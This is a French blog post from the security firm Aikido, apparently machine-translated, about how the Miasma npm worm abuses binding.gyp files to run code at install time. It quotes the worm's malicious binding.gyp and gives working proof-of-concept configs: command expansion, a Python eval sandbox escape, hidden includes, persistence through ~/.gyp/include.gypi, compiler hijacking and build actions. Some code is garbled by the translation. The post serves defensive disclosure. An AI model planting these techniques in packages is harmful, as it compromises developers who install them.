Aikido

Attendez, que peut bien faire binding.gyp ? À la découverte du système de compilation le plus insolite de npm

Écrit par
Ilyas Makari

Cela ne fait que quelques jours que le L'attaque Miasma a touché 32 paquets officiels de Red Hat sur npm. Le ver a ajouté un fichier malveillant preinstall un script à chaque paquet compromis, de sorte que fichier index.js s'est exécuté automatiquement dès l'installation de la dépendance, récupérant cloud , les jetons CI, les clés SSH et bien d'autres éléments avant même que vous n'ayez écrit la moindre ligne de votre propre code.

Au cours des jours qui ont suivi, Miasma s'est propagé bien au-delà de ses cibles initiales, touchant plusieurs autres paquets sur npm, PyPI et GitHub, notamment @vapi-ai/server-sdk (71 000 téléchargements par semaine) et ai-sdk-ollama (31 000 téléchargements par semaine).

‍Cependant, cette nouvelle vague s'accompagne d'une nouvelle astuce.

Si vous avez vérifié l'un de ces paquets et examiné son package.json, n'a pas vu preinstall ou post-installation hook, et si vous pensiez qu'il était sans danger de l'installer, détrompez-vous. La dernière variante a déplacé son déclencheur hors de package.json entièrement et dans un fichier bien moins contrôlé que npm se fera un plaisir d'exécuter pour vous au moment de l'installation : binding.gyp.

Dans cet article, je vais me pencher en détail sur binding.gyp. Nous allons voir de quoi il s'agit, pourquoi npm l'exécute, et le nombre surprenant de façons dont il peut être détourné pour exécuter du code arbitraire, depuis contournement du bac à sable à détournement de compilateur, tout en ayant l'apparence d'un simple fichier de compilation.

Que sont node-gyp et binding.gyp ?

De nombreux paquets npm ne sont pas purement en JavaScript. Ils contiennent des modules natifs écrits en C ou en C++ qui doivent être compilés en binaire avant que Node puisse les charger. L'outil chargé de cette étape de compilation est node-gyp, un outil de compilation multiplateforme que npm intègre et exécute pour vous. Il s'agit d'une interface autour de GYP (Generate Your Projects), un système de compilation initialement créé par Google pour le projet Chromium. Cependant, Google a cessé d'utiliser Chromium avec cet outil et a arrêté de le maintenir ; node-gyp s'appuie donc désormais sur un fork maintenu par Node.js.

node-gyp sait quoi compiler en lisant un fichier nommé binding.gyp qui se trouve à la racine du paquet. Il s'agit d'un fichier de type JSON qui décrit la compilation (techniquement, un littéral Python, ce qui aura son importance plus tard). Il précise quels fichiers source compiler, quels répertoires d'inclusion utiliser, etc. Un fichier normal, honnête binding.gyp pourrait ressembler à ceci :

{
  "targets": [
    {
      "target_name": "addon",
      "sources": ["src/addon.cc"]
    }
  ]
}

Cependant, cela peut facilement poser un problème de sécurité. Lorsque npm installe un paquet et détecte un binding.gyp une fois installé, il s'exécute automatiquement node-gyp rebuild pour ce paquet dans le cadre de l'installation. Le paquet n'a pas besoin d'enregistrer de script dans package.json pour que cela se réalise. La simple présence d'un binding.gyp Ce fichier suffit pour que le code s'exécute pendant l'installation.

Ainsi, même un paquet dont le code est parfaitement propre package.json, sans aucun hook de cycle de vie, déclenchera la chaîne d'outils Gyp au moment de l'installation, simplement parce que le fichier existe.

Comment Miasma en a tiré parti

Voici un extrait concret de ce que le ver a inséré dans les paquets compromis :

{
  "targets": [
    {
      "target_name": "Setup",
      "type": "none",
      "sources": ["<!(node index.js > /dev/null 2>&1 && echo stub.c)"]
    }
  ]
}

À première vue, cela ressemble à une cible de compilation nommée Configuration à partir d'un seul fichier source. Regardez de plus près le sources tableau. Au lieu d'un simple nom de fichier, il contient une chaîne de caractères encadrée par <!(...).

Ce <!(...) La syntaxe est une fonctionnalité de Gyp appelée « expansion de commande ». Lorsque Gyp analyse ce fichier, il ne traite pas son contenu comme une chaîne de caractères littérale. Il exécute la commande shell qu'il contient et remplace le champ par le résultat de cette commande.

Alors, quand node-gyp lorsqu'il traite la cible, il exécute :

node index.js > /dev/null 2>&1 && echo stub.c

En résumé :

  • fichier index.js exécute la charge utile malveillante. Ceci index.js Il s'agit de la même charge utile Miasma que celle que nous avons vue dans le les précédentes attaques contre Red Hat, le programme de vol d'identifiants et ver informatique obfusqué utilisé dans le cadre de cette campagne.
  • > /dev/null 2>&1 efface toutes les sorties, de sorte qu'aucun élément suspect n'apparaisse dans les journaux d'installation.
  • && echo stub.c affiche un nom de fichier d'apparence inoffensive. Gyp récupère cette valeur comme sources entrée, de sorte que la compilation se poursuit et que tout semble fonctionner normalement.

Le programme s'exécute sans problème, ne génère aucun message d'erreur et l'installation se termine normalement. Aucun hook de préinstallation n'est nécessaire.

La syntaxe d'expansion, et pourquoi elle est encore pire qu'elle n'en a l'air

GYP propose en fait plusieurs variantes d'extension de commande :

  • <!(command) / >!(commande) / ^!(commande) – exécute la commande et remplace sa sortie brute par une chaîne unique.
  • <!@(command) / >!@(commande) / ^!@(commande) – exécute la commande et divise sa sortie en une liste, ce qui est pratique lorsque gyp attend un tableau.
  • <!pymod_do_main(module args) – importations module sous forme de module Python et appelle sa DoMain() fonction, en utilisant la valeur de retour comme substitution.
  • <|(name item1 item2 ...) crée un fichier nommé nom au moment de l'analyse, chaque élément étant sur une ligne distincte.

Toutes ces opérations s'exécutent au moment de l'analyse syntaxique, avant que la compilation ne commence réellement.

Intuitivement, on pourrait s'attendre à ce que cela ne se produise que dans des champs réels et documentés tels que sources, bibliothèques ou répertoires_inclus. Cette intuition est erronée, et c'est là que les choses commencent à devenir intéressantes.

GYP ne limite pas l'expansion des commandes à une liste prédéfinie de champs. Lorsqu'il charge un .gyp fichier, il parcourt récursivement l'intégralité de la structure analysée et développe <!(...) et <!@(...) dans n'importe quelle valeur de chaîne qu'il trouve, quelle que soit la clé sous laquelle cette chaîne est stockée. Il n'existe aucun schéma stipulant que « seuls ces noms de champs sont autorisés ».

Concrètement, cela signifie qu'un pirate peut inventer un nom de champ (comme une_clé_aléatoire) qui n'apparaît pas du tout dans la documentation de gyp, et la commande qu'il contient s'exécutera quand même :

{
  "some_random_key": "<!(node evil.js && echo 0)",
  "targets": []
}

Il n'y a pas une_clé_aléatoire champ dans gyp. Ce n'est pas obligatoire. La chaîne située sous cette clé contient un <!(...) jeteon, la phase d'expansion récursive l'atteint et la commande s'exécute. C'est ce qui rend leur analyse si fastidieuse. Il ne suffit pas de vérifier les quelques champs susceptibles de présenter un risque, car la charge utile peut être dissimulée sous n'importe quelle clé, à n'importe quel niveau de profondeur, dans le fichier.

escape du bac à sable

Vous pensiez que les extensions de commande mentale étaient risquées ? Ça ne fait qu'empirer à partir de là.

Jusqu'à présent, nous avons abordé binding.gyp comme un fichier JSON un peu particulier doté de fonctionnalités supplémentaires. En réalité, il s'agit d'un dictionnaire Python, et il transmet le fichier directement à Python eval()Tu vois où je veux en venir ?

C'est exact : le fichier que npm exécute pour vous lors de l'installation est analysé par eval. Les auteurs de Gyp n'ignoraient pas les risques d'abus, c'est pourquoi ils ont appelé eval une fois les fonctions intégrées supprimées :

eval(file_contents, {"__builtins__": {}}, None)

L'idée est que, sans fonctions intégrées disponibles, un attaquant qui contrôle le fichier gyp ne peut pas effectuer d'actions dangereuses, comme exécuter une commande shell ou lire des fichiers sur le disque. Les éléments de base que l'on utiliserait normalement pour cela, tels que __import__ pour charger le os module ou ouvrir toucher à un fichier, ont toutes été supprimées. C'est un bac à sable classique. Cependant, comme presque toutes les tentatives visant à mettre Python en bac à sable eval, il est possible de l'échapper.

On peut sortir directement de ce bac à sable et faire en sorte que GYP exécute du code Python arbitraire. Voici un exemple complet de code malveillant binding.gyp, dans son intégralité :

[c pour c dans ().__class__.__base__.__subclasses__() si c.__name__ == 'catch_warnings'][0]()._module.__builtins__['__import__']('os').system('node evil.js')

C'est tout. Le fichier se résume à ça. Aucune syntaxe JSON n'est nécessaire. Nous n'avons utilisé aucune des méthodes habituelles objectifs ou sources les champs que l'on s'attendrait à trouver dans un fichier gyp. Juste une seule expression Python. Cela fonctionne parce que, avant nœud evil.js lorsqu'elle est appelée, l'expression utilise une petite astuce pour sortir de eval()sa zone de test.

Les fonctions dangereuses ont été supprimées, mais les objets inoffensifs que vous pouvez toujours manipuler recèlent discrètement des références cachées à celles-ci. À commencer par le tuple vide inoffensif (), il parcourt les relations entre les objets internes de Python jusqu'à ce qu'il trouve un élément qui conserve encore une référence aux fonctions qui ont été supprimées, les récupère, puis s'en sert pour importer le os module et exécuter la commande shell nœud evil.js.

Et cela s'exécute dès qu'un utilisateur lance npm install <package>, simplement en raison d'un effet secondaire lié à l'analyse du fichier par gyp.

Comme la syntaxe Gyp n'est en réalité qu'un simple dictionnaire Python, cette expression peut être intégrée à n'importe quelle valeur d'un fichier de configuration qui, par ailleurs, semble tout à fait normal :

{
  "variables": {
    "module_name": "fast_crypto",
    "openssl_fips": [c for c in ().__class__.__base__.__subclasses__() if c.__name__ == 'catch_warnings'][0]()._module.__builtins__['__import__']('os').system('node evil.js') or "",
  },
  "targets": [
    {
      "target_name": "<(module_name)",
      "sources": ["src/binding.cc", "src/crypto.cc"],
      "include_dirs": ["<!(node -p \"require('node-addon-api').include\")"],
      "defines": ["NAPI_VERSION=8"],
    }
  ]
}

Il s'agit d'une version de travail binding.gyp qui permettrait réellement de créer un module natif. La charge utile est dissimulée à l'intérieur du openssl_fips variable, conçue pour se fondre dans le reste du fichier de compilation. Non <!(...) Il a fallu recourir à l'expansion de commande.

Il en va de même pour les conditions. GYP permet à un fichier de compilation d'appliquer différents paramètres en fonction de l'environnement, grâce à un conditions clé.

"conditions": [
  ["OS=='win'", { "sources": ["socket_win.cc"] }],
  ["OS=='linux'", { "defines": ["LINUX"] }],
]

Ces chaînes de conditions, « OS=='win' », sont censées être de simples vérifications booléennes. Mais gyp les évalue de la même manière qu’il analyse le fichier : il compile chacune d’entre elles et les exécute via eval(), avec les mêmes fonctions intégrées simplifiées. Cela signifie qu'une condition peut, en réalité, contenir n'importe quelle expression Python. En utilisant la même escape du bac à sable, nous pouvons transformer le conditions champ dans un autre vecteur d'attaque à prendre en compte :

"conditions": [
  ["[c for c in ().__class__.__base__.__subclasses__() if c.__name__ == 'catch_warnings'][0]()._module.__builtins__['__import__']('os').system('node evil.js') == 0", {}],
]

Nous venons de vous montrer comment convertir binding.gyp en un exécuteur de code arbitraire qui s'exécute au moment de l'installation (sans aucun hook post-installation).

Vous vous demandez peut-être pourquoi tout cela a tant d'importance. Nous disposons déjà de plusieurs moyens d'exécuter du code lors de l'installation. Il y a post-installation dans package.json. Il existe des expansions de commande dans binding.gyp.

La différence ici, c'est que les fonctionnalités réelles et documentées comportent des risques, mais des risques que l'écosystème comprend déjà. Un réviseur sait qu'il doit lire le scripts insérer package.json. On peut configurer un scanner pour qu'il signale <!(...) les extensions. Nous pouvons les anticiper, établir des règles pour les gérer et nous en prémunir, précisément parce qu'elles sont censées exister.

S'échapper d'un bac à sable, c'est un tout autre problème, car cela n'a jamais été prévu. Personne ne s'attend jamais à ce que binding.gyp pour héberger uniquement du code Python pur qui s'exécute au moment de l'installation.

Cacher du code dans des fichiers inclus

Jusqu'à présent, chaque charge utile a été hébergée dans un seul binding.gyp fichier. Ce n'est pas obligatoire.

binding.gyp prend en charge un comprend clé. Son objectif est d'extraire les paramètres de compilation communs dans un fichier distinct et de les réutiliser dans plusieurs cibles ou projets, afin d'éviter les redondances. Lorsque gyp rencontre un comprend entrée, il charge ce fichier et intègre son contenu dans le fichier actuel avant de le traiter.

Le hic, c'est que le fichier inclus est traité exactement comme le fichier principal binding.gyp, ce qui signifie que toutes les techniques d'évasion de l'environnement d'exécution ou de contournement de la zone de sécurité décrites dans les sections précédentes s'appliquent également à cet environnement. Un attaquant peut extraire la charge utile hors de binding.gyp et dans un fichier inclus, de sorte que le fichier principal ressemble à un fichier de configuration de compilation classique :

{
  "includes": ["evil"],
  "targets": [...]
}

Ce qui est inclus mal Le fichier peut alors contenir la charge utile proprement dite, qui peut à son tour être dissimulée sous une clé arbitraire, à n'importe quel niveau de profondeur dans le fichier.

{
  "anyrandomname": {
    "somethingarbitrary": "<!(node evil_script.js && echo 0)"
  }
}

Deux éléments font que cette méthode est idéale pour un pirate, mais problématique pour un vérificateur. Premièrement, le fichier inclus peut porter n'importe quel nom. Il n'a pas besoin d'un .gyp ou .gypi extension. Il suffit qu'il contienne des données au format JSON valide. Un fichier au nom anodin config ou LICENCE ça marche tout aussi bien.

Deuxièmement, comprend sont transitives. Un fichier inclus peut lui-même en inclure un autre, qui peut en inclure un autre, et ainsi de suite. Or, la charge utile exécutée lors de l'installation pourrait se trouver à trois ou quatre fichiers de distance du binding.gyp tu as commencé à analyser.

Inclusions automatiques et persistance

Tu penses avoir compris le principe des inclusions maintenant ? Il y a un petit hic : tu n'as même pas besoin d'un comprend c'est essentiel, car node-gyp télécharge lui-même certains fichiers.

Lorsque node-gyp configure une compilation, il recherche deux fichiers à la racine du paquet, config.gypi et common.gypi, et inclut de force tous ceux qu'il trouve, exactement comme si vous les aviez répertoriés dans comprend. Ils sont traités comme n'importe quel autre fichier gyp, donc toutes les astuces décrites dans les sections précédentes s'appliquent également à eux. Le hic pour un réviseur, c'est que rien dans binding.gyp les désigne. A binding.gyp peut s'agir d'une simple paire d'accolades vides et permettre tout de même d'extraire une donnée d'un élément de même niveau config.gypi:

{ }
{
  "variables": {
    "anything": "<!(node evil.js && echo 0)"
  }
}

Le premier fichier contient l'intégralité binding.gyp. Le deuxième est config.gypi, qui se trouve tranquillement à côté, et il se lance dès l'installation.

C'est déjà grave, mais le pire reste à venir. node-gyp inclut également automatiquement ~/.gyp/include.gypi, déterminé à partir du répertoire personnel de l'utilisateur, dans chaque compilation Gyp que cet utilisateur exécute. Pas seulement ce projet, mais tous les projets. Il suffit d'y placer une charge utile une seule fois pour qu'elle persiste dans chaque application native npm install avec un binding.gyp tu ne le referas plus jamais.

Importer du code via les dépendances

Indépendamment de comprend, les cibles gyp peuvent déclarer dépendances sur d'autres cibles définies dans des contextes totalement différents .gyp fichiers.

Étant donné qu'une dépendance pointe vers un autre fichier gyp, et que ce fichier est analysé et développé comme n'importe quel autre, les dépendances offrent à un attaquant un deuxième moyen, indépendant, d'accéder au code d'un autre fichier :

{
  "targets": [
    {
      "target_name": "main",
      "type": "none",
      "dependencies": ["dep.gyp:dep_target"]
    }
  ]
}

Le document mentionné dep.gyp Le fichier héberge ensuite la charge utile au sein de l'une de ses cibles :

{
  "targets": [
    {
      "target_name": "dep_target",
      "type": "none",
      "sources": ["<!(node malicious.js && echo stub.c)"]
    }
  ]
}

Tout comme comprend, le nom du fichier en question n'a aucune importance tant qu'il contient des données au format JSON valide. Et tout comme comprend, ces dépendances peut également être transitif.

Détournement de compilateur

Le binding.gyp Il contrôle également la manière dont le code natif est compilé, le compilateur à utiliser et les options à lui transmettre, et ce contrôle devient alors un vecteur d'attaque à part entière.

Une compilation native doit savoir quel compilateur utiliser et quelles options lui fournir. Gyp permet d'accéder à ces informations à deux endroits :

  • selon les paramètres de la cible, tels que cflags, définit, et répertoires_inclus.
  • définir_paramètres_globaux (Linux / macOS) – un bloc de niveau supérieur dans un fichier gyp qui définit la chaîne d'outils pour l'ensemble de la compilation :
    • le compilateur C (CC)
    • le compilateur C++ (CXX)
    • l'éditeur de liens (LIEN)
    • l'archiveur (Réalité augmentée)
    • options du compilateur (CFLAGS)
    • options de l'éditeur de liens (LDFLAGS)

Comme la compilation s'effectue au moment de l'installation, un acteur malveillant pourrait remplacer le compilateur et le rediriger vers son propre script :

{
  "make_global_settings": [
    ["CC", "<(module_root_dir)/cc-evil.sh"]
  ],
  "targets": [
    {
      "target_name": "addon",
      "type": "static_library",
      "sources": ["src/addon.c"]
    }
  ]
}

La compilation fonctionne désormais cc-evil.sh en tant que compilateur pour chaque étape de compilation, où cc-evil.sh pourrait ressembler à ceci :

nœud "$(dirname "$0")/evil.js"
exec cc "$@"

Le script peut faire tout ce qu'il veut (par exemple, exécuter evil.js) puis appeler le véritable compilateur afin que la compilation aboutisse quand même, sans que personne ne s'en aperçoive.

GYP propose même une convention spécifique à cet effet, destinée aux lanceurs de compilateurs tels que ccache. A *_wrapper key place votre programme en amont du compilateur proprement dit :

{
  "make_global_settings": [
    ["CC", "/usr/bin/cc"],
    ["CC_wrapper", "<(module_root_dir)/cc-evil-wrapper.sh"]
  ],
  "targets": [
    {
      "target_name": "addon",
      "type": "static_library",
      "sources": ["src/addon.c"]
    }
  ]
}

C'est ici que ça se passe cc-evil-wrapper.sh /usr/bin/cc ..., en transmettant au script malveillant le véritable compilateur en tant qu'argument.

De plus, un pirate n'a même pas besoin de remplacer le compilateur. Il lui suffit de lui passer des options, et gyp les intègre dans le fichier de compilation généré. Dans le cadre d'une compilation via make, ces options deviennent faire variables, et faire peut évaluer un $(shell) commande qu'il trouve à l'intérieur de celle-ci. Ainsi, la valeur d'un indicateur peut être détournée pour transmettre une commande malveillante.

Il existe deux endroits où effectuer l'injection. Sur la cible elle-même, par exemple via cflags (ou xcode_settings (sous macOS) :

{
  "targets": [
    {
      "target_name": "addon",
      "type": "static_library",
      "sources": ["src/addon.c"],
      "cflags": ["$(shell node <(module_root_dir)/evil.js)"]
    }
  ]
}

Ou bien, de manière générale pour chaque cible, via définir_paramètres_globaux:

{
  "make_global_settings": [
    ["CFLAGS", "$(shell node <(module_root_dir)/evil.js)"]
  ],
  "targets": [
    {
      "target_name": "addon",
      "type": "static_library",
      "sources": ["src/addon.c"]
    }
  ]
}

Lorsque la compilation s'exécute, le programme malveillant $(shell ...) La commande s'exécute, et sa sortie est transmise au compilateur sous la forme d'un indicateur inoffensif, ce qui permet à la compilation de se dérouler sans encombre.

Le mécanisme précis permettant de détourner un compilateur peut varier selon l'outil de compilation et le système d'exploitation. Cependant, l'essentiel à retenir est qu'il convient de traiter les paramètres du compilateur et de l'éditeur de liens comme du code, car les outils de compilation tels que faire peuvent évaluer ce qu'il y a à l'intérieur npm install temps.

Exécution de code via des actions

Jusqu'à présent, toutes les techniques d'exploitation reposaient sur l'expansion de commandes, le contournement du bac à sable ou le détournement du compilateur. GYP dispose d'une autre fonctionnalité qui exécute des commandes de par sa conception : actions.

Une action est une étape de compilation associée à une cible qui exécute une commande arbitraire, généralement pour générer un fichier source ou traiter des données d'entrée avant la compilation. Il s'agit d'une fonctionnalité documentée qui se trouve au sein de la cible actions tableau. Chaque action spécifie une commande à exécuter, ses entrées et ses sorties.

Étant donné que le but d'une action est d'exécuter une commande, un attaquant n'a même pas besoin de la syntaxe d'expansion dans ce cas. Il lui suffit de demander à gyp d'exécuter directement sa charge utile :

{
  "targets": [
    {
      "target_name": "via_actions",
      "type": "none",
      "actions": [
        {
          "action_name": "poc_action",
          "inputs": [],
          "outputs": ["poc_action_done"],
          "action": ["node", "evil.js"]
        }
      ]
    }
  ]
}

Lorsque la cible est compilée, gyp s'exécute nœud evil.js. Non <!(...) C'est tout ce qu'il faut : aucun fichier source à compiler, juste une étape de compilation dont le seul but est d'exécuter une commande.

Il existe un cousin proche qu'il vaut la peine de connaître : règles. Une règle s'apparente à une action, à la différence qu'elle ne se déclenche qu'une seule fois par fichier d'entrée correspondant à une extension donnée. Il suffit d'associer une règle à un fichier portant la bonne extension pour que la commande correspondante s'exécute sur ce fichier :

{
  "targets": [
    {
      "target_name": "via_rules",
      "type": "none",
      "sources": ["trigger.poc"],
      "rules": [
        {
          "rule_name": "poc_rule",
          "extension": "poc",
          "outputs": ["<(RULE_INPUT_ROOT).done"],
          "action": ["node", "evil.js"]
        }
      ]
    }
  ]
}

Ici, la cible indique un seul fichier source, trigger.poc. La règle stipule que pour chaque fichier d'entrée se terminant par .poc, Gyp devrait fonctionner nœud evil.js. L'attaquant contrôlant les deux parties, il envoie un fichier jetable portant l'extension correspondante, et la règle se déclenche lors de la compilation. L'effet est le même que celui d'une action, le déclencheur étant un fichier correspondant plutôt que la cible elle-même.

Il y a un troisième membre de cette famille, post-compilation, une commande qui s'exécute une fois la cible compilée. Elle effectue le même type de action tableau :

{
  "targets": [
    {
      "target_name": "via_postbuilds",
      "type": "none",
      "postbuilds": [
        {
          "postbuild_name": "poc_postbuild",
          "action": ["node", "evil.js"]
        }
      ]
    }
  ]
}

En résumé, il faut retenir que binding.gyp le fichier exécute le code lors de l'installation, exactement comme un preinstall ou post-installation se mettre au courant package.json, et mérite donc exactement la même méfiance. La présence de binding.gyp Dans une dépendance, cela signifie que le code peut s'exécuter pendant l'installation, quoi qu'il arrive package.json dit-il. Une package.json L'absence de scripts d'installation ne signifie plus pour autant que rien ne fonctionne.

Les équipes de sécurité devraient y prêter attention. Les auteurs d'attaques visant la chaîne d'approvisionnement, comme Miasma, cherchent manifestement de nouveaux moyens d'exécuter du code au moment de l'installation, et binding.gyp C'est un problème facile à passer à la trappe, surtout lorsqu'il s'agit de comportements non documentés, comme les échappements du bac à sable. Il serait naïf de croire que ce n'est pas la dernière fois qu'on en entendra parler.

Comment Aikido détecte cela

Si vous Aikido , consultez votre flux central et filtrez les alertes relatives aux logiciels malveillants. La récente campagne Miasma, qui utilise désormais des techniques d'installation binding.gyp L'exécution de cette vulnérabilité est classée comme un problème critique (100/100). Aikido chaque nuit, mais nous vous recommandons de lancer immédiatement une analyse manuelle si vous pensez être concerné.

Vous n'êtes pas encore Aikido ? Créez un compte et connectez vos dépôts. Notre protection contre les logiciels malveillants est incluse dans la formule gratuite, aucune carte bancaire n'est requise.

Pour renforcer encore davantage la sécurité, Aikido Device Protection vous offre une visibilité et un contrôle sur les logiciels installés sur les appareils de votre équipe, notamment les extensions de navigateur, les bibliothèques, les plugins et les dépendances.

Pour bloquer un paquet de ce type avant même qu'il n'atteigne l'étape d'installation, utilisez Aikido Chain (open source). Cet outil s'intègre à votre flux de travail existant : il intercepte les commandes npm, npx, yarn, pnpm et pnpx, puis vérifie la conformité des paquets à l'aide Aikido avant leur installation.

Partager :

https://www.aikido.dev/blog/exploring-binding-gyp-npm-build-system

4,7/5
Fatigué des faux positifs ?
Essayez Aikido, comme 100 000 autres.
Commencez maintenant
Obtenez une démonstration personnalisée

Approuvé par plus de 100 000 équipes

Réserver maintenant
Analysez votre application à la recherche d'IDORs et de chemins d'attaque réels

Approuvé par plus de 100 000 équipes

Démarrer l'analyse
Découvrez comment le pentest IA teste votre application

Approuvé par plus de 100 000 équipes

Démarrer les tests

Sécurisez votre environnement dès maintenant.

Sécurisez votre code, votre cloud et votre environnement d’exécution dans un système centralisé unique.
Détectez et corrigez les vulnérabilités rapidement et automatiquement.

Aucune carte de crédit requise | Résultats en 32 secondes.